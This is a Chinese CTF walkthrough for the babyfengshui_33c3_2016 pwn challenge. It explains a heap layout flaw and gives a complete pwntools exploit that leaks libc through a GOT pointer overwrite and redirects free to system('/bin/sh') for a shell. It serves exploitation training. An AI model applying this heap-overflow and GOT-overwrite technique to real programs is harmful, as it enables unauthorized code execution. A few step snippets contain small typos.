[BUUCTF]PWN——babyfengshui_33c3_2016

babyfengshui_33c3_2016

附件

步骤:

  1. 例行检查,32位程序,开启了cannary和nx
    [BUUCTF]PWN——babyfengshui_33c3_2016_第1张图片
  2. 本地运行一下看看大概的情况,熟悉的堆的菜单布局
    [BUUCTF]PWN——babyfengshui_33c3_2016_第2张图片
  3. 32位ida载入,看main函数
    [BUUCTF]PWN——babyfengshui_33c3_2016_第3张图片
    add
    [BUUCTF]PWN——babyfengshui_33c3_2016_第4张图片[BUUCTF]PWN——babyfengshui_33c3_2016_第5张图片
    update
    [BUUCTF]PWN——babyfengshui_33c3_2016_第6张图片
    delete
    [BUUCTF]PWN——babyfengshui_33c3_2016_第7张图片
    display
    [BUUCTF]PWN——babyfengshui_33c3_2016_第8张图片
  4. 先随便申请几个堆,看一下布局
add(0x80, 'name1', 0x80, 'aaa')
add(0x80, 'name2', 0x80, 'bbb')
add(0x80, 'name3', 0x80, 'ccc')
gdb.attach(p)

[BUUCTF]PWN——babyfengshui_33c3_2016_第9张图片

和我们上面分析的一样,堆的布局是text_chunk + name_chunk
上面看到了update在判断长度的时候存在问题,
看堆布局以chunk0来说,判断条件就是:`0x083e300+0x80>=0x83e3008`
但是,有一个问题就是,chunk0和chunk0(name)其实不一定是相邻的,这样的话就有了实现溢出的可能
  1. 这样就好办了,先随便申请几个堆块(我申请了3个),然后释放掉chunk0,在申请一个chunk,这样新申请的new_text_chunk就会在chunk1之前,new_name_chunk在chunk2之后,这之间的距离可大了,所以我们可以输入很长的数据。
add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")
gdb.attach(p)

图太大就不放全了,可以自己调试看一下堆布局
[BUUCTF]PWN——babyfengshui_33c3_2016_第10张图片
6. 上述代码中可以看到,name_chunk中存放着text_chunk的指针,将name_chunk1处存储的chunk1指针改成free_got的地址,这样就泄露了libc版本,可以直到system函数的实际地址了

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
r.recvuntil("description: ")
free_addr=u32(r.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
  1. 我们之前往chunk2中写入了’/bin/sh‘,现在将free的地址改写为system的地址,这样在执行free(chunk2)的时候就变成了执行system(’/bin/sh’)这样就可以获取shell了
update(1,0x80,p32(system_addr))
delete(2)

完整EXP

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level='debug'
#p=remote("node3.buuoj.cn",27725)
p=process('./babyfengshui_33c3_2016')
elf=ELF('./babyfengshui_33c3_2016')

free_got=elf.got['free']

def add(size,name,length,text):
	p.recvuntil("Action: ")
	p.sendline("0")
	p.sendlineafter("size of description: ",str(size))
	p.sendlineafter("name: ",name)
	p.recvuntil("text length:")
	p.sendline(str(length))
	p.recvuntil("text:")
	p.sendline(text)
def delete(index):
	p.recvuntil("Action: ")
	p.sendline("1")
	p.recvuntil("index: ")
	p.sendline(str(index))
def show(index):
	p.recvuntil("Action: ")
	p.sendline("2")
	p.recvuntil("index: ")
	p.sendline(str(index))
def update(index,length,text):
	p.recvuntil("Action: ")
	p.sendline("3")
	p.recvuntil("index: ")
	p.sendline(str(index))
	p.recvuntil("text length: ")
	p.sendline(str(length))
	p.recvuntil("text: ")
	p.sendline(text)

add(0x80,"nam1",0x80,"aaaa")
add(0x80,"nam2",0x80,"bbbb")
add(0x80,"nam3",0x80,"/bin/sh\x00")
delete(0)
add(0x100,'nam1',0x100,"cccc")

payload='a'*0x108+'a'*0x8+'a'*0x80+'a'*0x8+p32(free_got)
update(3,0x200,payload)
show(1)
p.recvuntil("description: ")
free_addr=u32(p.recv(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")

update(1,0x80,p32(system_addr))
delete(2)
p.interactive()

参考wp:
https://blog.csdn.net/weixin_45677731/article/details/108093060

你可能感兴趣的:(BUUCTF刷题记录,PWN)